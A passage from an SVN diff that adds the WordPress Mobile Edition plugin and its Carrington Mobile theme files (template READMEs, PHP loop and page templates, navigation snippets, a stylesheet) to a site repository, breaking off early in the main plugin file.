+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/loop-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/loop-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/loop-default.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+if (have_posts()) {
+	echo '<ul class="disclosure table group">';
+	while (have_posts()) {
+		the_post();
+?>
+	<li>
+<?php
+		cfct_excerpt();
+?>
+	</li>
+<?php
+	}
+	echo '<li class="pagination">', cfct_misc('nav-list'),'</li>';
+	echo '</ul>';
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/page.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+if (have_posts()) {
+	while (have_posts()) {
+		the_post();
+		cfct_content();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/loop/single.php	(revision 44)
@@ -0,0 +1,28 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+if (have_posts()) {
+	while (have_posts()) {
+		the_post();
+		cfct_content();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/README.txt	(revision 44)
@@ -0,0 +1,17 @@
+## misc/
+
+This directory holds page fragments and snippets that you may want to use across multiple template files.
+
+These files can be included in other theme files using the following code:
+
+	<?php cfct_misc('nav-posts'); ?>
+
+Where `nav-posts.php` is the name of the file in the _misc/_ directory that you want to include.
+
+
+### Example File Descriptions
+
+- *banner.php* - This is used by Carrington to display a message that is passed to it.
+- *nav-posts.php* - This is standard paging for posts pages.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/banner.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/banner.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/banner.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+?>
+<div class="cfct_banner"><?php echo $str; ?></div>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/main-nav.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/main-nav.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/main-nav.php	(revision 44)
@@ -0,0 +1,3 @@
+<a class="to-home" href="<?php bloginfo('home'); ?>">Home</a> |
+<?php if(!is_home()){ ?><a href="#recent">Recent Posts</a> | <?php } ?>
+<a href="#pages">Pages</a>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/nav-list.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/nav-list.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/nav-list.php	(revision 44)
@@ -0,0 +1,5 @@
+<span>&laquo;</span>
+<span class="next"><?php previous_posts_link('Previous'); ?></span>
+<span>|</span>
+<span class="prev"><?php next_posts_link('Next'); ?></span>
+<span>&raquo;</span>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/nav-single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/nav-single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/misc/nav-single.php	(revision 44)
@@ -0,0 +1,5 @@
+<span>&laquo;</span> 
+<?php next_post_link('<span class="next">%link</span>'); ?> 
+<span>|</span> 
+<?php previous_post_link('<span class="prev">%link</span>'); ?> 
+<span>&raquo;</span>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/page.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_page();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/pages/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/pages/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/pages/README.txt	(revision 44)
@@ -0,0 +1,39 @@
+## pages/
+
+WP doesn't support page templates in nested folders like this one, so page organization isn't as clean as we'd like.
+
+Create a page in the theme root:
+
+File name: page-example.php
+
+**Note:** We recommend prefixing all of your page files with 'page-' so that they are easily sorted together in your theme directory.
+
+File contents:
+
+	<?php
+	
+	/*
+	Template Name: Example Template
+	*/
+	
+	if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+	if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+	
+	cfct_page('example');
+	
+	?>
+
+This will then load 'example.php' from the _pages/_ directory, keeping all of your actual page code nicely organized in one spot.
+
+You can also add your page code to the page-example.php file you create in the theme root, but we're hoping to get support for pages in a sub-directory in a future version of WordPress so we are starting with what we consider to be a "proper" organization structure now.
+
+
+### Supported Filenames
+
+- pages-default.php (or default.php)
+
+
+### File Descriptions
+
+A "default" template is required. You can create other templates as desired.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/pages/pages-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/pages/pages-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/pages/pages-default.php	(revision 44)
@@ -0,0 +1,43 @@
+<?php
+
+/*
+Template Name: Default
+*/
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+
+<div id="content" class="group">
+<?php
+
+cfct_loop();
+
+comments_template();
+
+?>
+</div><!--#content-->
+
+<?php 
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/plugins/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/plugins/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/plugins/README.txt	(revision 44)
@@ -0,0 +1,9 @@
+## plugins/
+
+Carrington supports plugins in the same conceptual manner as WordPress. Carrington includes several hooks and filters so you can customize/override Carrington's default behavior.
+
+Any .php files placed in this directory will be auto-loaded and processed by Carrington.
+
+This is the recommended way to interact with the hooks and filters provided by Carrington so that they can be easily distributed with the theme.
+
+This directory is not used by the Carrington engine (template naming conventions are not supported), it is provided solely for convenience and for better organization of these files.
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/README.txt	(revision 44)
@@ -0,0 +1,50 @@
+## posts/
+
+The files in this directory are "top level" templates for pages in WordPress that show multiple posts at once. These files should call `the_header()`, `the_sidebar()`, `the_footer()` and `cfct_loop()` to include the other parts of the page.
+
+The file from this directory that will be used is chosen based on the current page context.
+
+You can explicitly decide which _loop/_ to use from these templates by passing it in as so:
+
+	cfct_template_file('loop', 'example');
+
+which would use _loop/example.php_ for the loop.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/archive.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+
+<div id="content">
+	<h1 class="table-title"><?php cfct_archive_title(); wp_title('', true, 'right'); ?></h1>
+<?php
+	cfct_loop();
+?>
+</div><!--#content-->
+
+<?php
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/posts-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/posts-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/posts-default.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+
+<div id="content">
+<?php
+	cfct_loop();
+?>
+</div><!--#content-->
+
+<?php
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/posts/search.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+$s = get_query_var('s');
+
+$search_title = '<a href="'.get_bloginfo('url').'/?s='.attribute_escape($s).'" title="">'.htmlspecialchars($s).'</a>';
+
+?>
+
+<div id="content">
+	<h1 class="table-title"><?php printf(__('Search Results for: %s', 'carrington-blog'), $search_title); ?></h1>
+<?php
+	cfct_loop();
+?>
+</div><!--#content-->
+
+<?php
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/search.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_posts();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single.php	(revision 44)
@@ -0,0 +1,22 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+
+cfct_single();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single/README.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single/README.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single/README.txt	(revision 44)
@@ -0,0 +1,44 @@
+## single/
+
+This directory holds top level templates for "single" post pages. These files should call `the_header()`, `the_sidebar()`, `the_footer()`, `cfct_loop()` and `cfct_comments()` to include the other parts of the page.
+
+All General Context template filenames apply here, but in reality only single.php and single-{Post Context}.php files will be used as the General Context must fall to "single" to look for templates here.
+
+
+## General Context
+
+When choosing a template to use in the General Context, the Carrington engine looks at the type of request is being fulfilled. It will identify the request as the home page, a category archive, and individual post, etc.
+
+There is additional checking done for single post requests. All options in the Content Context are supported here with a 'single-' prefix added to the file. See specifics below.
+
+A "default" template is required, and will be used when there are no other templates that match a given comment. This could be because no other templates have been created, or because the comment in question doesn't match the templates that are available.
+
+By default, conditions are checked in this order:
+
+1. author
+2. role
+3. category
+4. tag
+5. single
+6. default (home, search, archivem 404, etc.)
+
+This can be altered using the `cfct_general_match_order` hook.
+
+
+### Supported Templates (General Context)
+
+- *{dirname}-default.php* (or default.php) - Used when there are no other templates that match for a given page/post.
+- *archive.php* - Used for date archives or if there are no specific category, author or tag templates.
+- *author.php* - Used for author archive lists.
+- *author-{username}.php* - Used when the post/page is authored by a specific user. For example, a template with a file name of _author-jsmith.php_ would be used for a post/page by user _jsmith_. Any WordPress username can take the place of {username} in the file name.
+- *category.php* - Used for category archive lists.
+- *cat-{slug}.php* - Used fr displaying a given category. The category is matched by the "slug" - for example a post in category "General" (with a category slug of "general") could use a template of _cat-general.php_.
+- *home.php* - Used when on the home page.
+- *page.php* - Used for pages that do not match any other contextual templates.
+- *role-{rolename}.php
+- *search.php* - Used when displaying search results.
+- *single.php* - Used for single post pages.
+- *single-{content context filenames}.php* - Used for single post pages.
+- *tag.php* - Used for tag archive lists.
+- *tag-{slug}.php* - Used for displaying a given tag. The tag is matched by the "slug" - for example a post in tag "News" (with a tag slug of "news") could use a template of _tag-news.php_.
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single/single-default.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single/single-default.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/single/single-default.php	(revision 44)
@@ -0,0 +1,42 @@
+<?php
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+if (__FILE__ == $_SERVER['SCRIPT_FILENAME']) { die(); }
+if (CFCT_DEBUG) { cfct_banner(__FILE__); }
+
+get_header();
+
+?>
+<p id="next-prev-top" class="pagination"><?php cfct_misc('nav-single'); ?></p>
+
+<div id="content" class="group">
+<?php
+
+cfct_loop();
+
+comments_template();
+
+?>
+</div><!--#content-->
+
+<p id="next-prev-bottom" class="pagination"><?php cfct_misc('nav-single'); ?></p>
+
+<?php 
+
+get_footer();
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/carrington-mobile-1.0.2/style.css	(revision 44)
@@ -0,0 +1,85 @@
+/*
+
+Theme Name: Carrington Mobile
+Theme URI: http://carringtontheme.com
+Description: A mobile-friendly theme for your blog. Best used with (and included with) the WordPress Mobile Edition plugin. Supports basic mobile browsers as well as advanced and touch-screen browsers with a display optimized for each. Built on the Carrington framework.
+Version: 1.0.2
+Author: Crowd Favorite
+Author URI: http://crowdfavorite.com
+Tags: silver, white, one-column, flexible-width
+
+// This file is part of the Carrington Mobile Theme for WordPress
+// http://carringtontheme.com
+//
+// Copyright (c) 2008-2009 Crowd Favorite, Ltd. All rights reserved.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// **********************************************************************
+
+*/
+
+body {
+	font-family: Verdana, sans-serif;
+}
+h1, h2, h3, p {
+	margin: 0 0 5px 0;
+	padding: 0;
+}
+ul, ol {
+	margin-top: 0;
+	margin-bottom: 5px;
+	margin-left:10px;
+	padding: 0;
+}
+hr {
+	color: #999;
+	height: 1px;
+}
+
+/* including for compatibility */
+
+.alignleft {
+	float:left;
+	margin-right:1em;
+	margin-bottom:1em;
+}
+.alignright {
+	float:right;
+	margin-left:1em;
+	margin-bottom:1em;
+}
+.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px;
+	/* optional rounded corners for browsers that support it */
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+.wp-caption p.wp-caption-text {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/wp-mobile.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/wp-mobile.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/wordpress-mobile-edition/wp-mobile.php	(revision 44)
@@ -0,0 +1,464 @@
+<?php
+
+/*
+Plugin Name: WordPress Mobile Edition 
+Plugin URI: http://crowdfavorite.com/wordpress/ 
+Description: Show your mobile visitors a site presentation designed just for them. Rich experience for iPhone, Android, etc. and clean simple formatting for less capable mobile browsers. Cache-friendly with a Carrington-based theme, and progressive enhancement for advanced mobile browsers.  
+Version: 3.1
+Author: Crowd Favorite
+Author URI: http://crowdfavorite.com
+*/
+
+// WordPress Mobile Edition
+//
+// Copyright (c) 2002-2009 Crowd Favorite, Ltd.
+// http://crowdfavorite.com
+//
+// Released under the GPL license
+// http://www.opensource.org/licenses/gpl-license.php
+//
+// **********************************************************************
+// This program is distributed in the hope that it will be useful, but
+// WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 
+// *****************************************************************
+
+// ini_set('display_errors', '1'); ini_set('error_reporting', E_ALL);
+
+define('CF_MOBILE_THEME', 'carrington-mobile-1.0.2');
+
+if (!defined('PLUGINDIR')) {
+	define('PLUGINDIR','wp-content/plugins');
+}
+
+load_plugin_textdomain('cf-mobile');
+
+if (is_file(trailingslashit(ABSPATH.PLUGINDIR).'wp-mobile.php')) {
+	define('CFMOBI_FILE', trailingslashit(ABSPATH.PLUGINDIR).'wp-mobile.php');
+}
+else if (is_file(trailingslashit(ABSPATH.PLUGINDIR).'wordpress-mobile-edition/wp-mobile.php')) {
+	define('CFMOBI_FILE', trailingslashit(ABSPATH.PLUGINDIR).'wordpress-mobile-edition/wp-mobile.php');
+}
+
+register_activation_hook(CFMOBI_FILE, 'cfmobi_install');
+
+function cfmobi_default_browsers($type = 'mobile') {
+	$mobile = array(
+		'2.0 MMP',
+		'240x320',
+		'400X240',
+		'AvantGo',
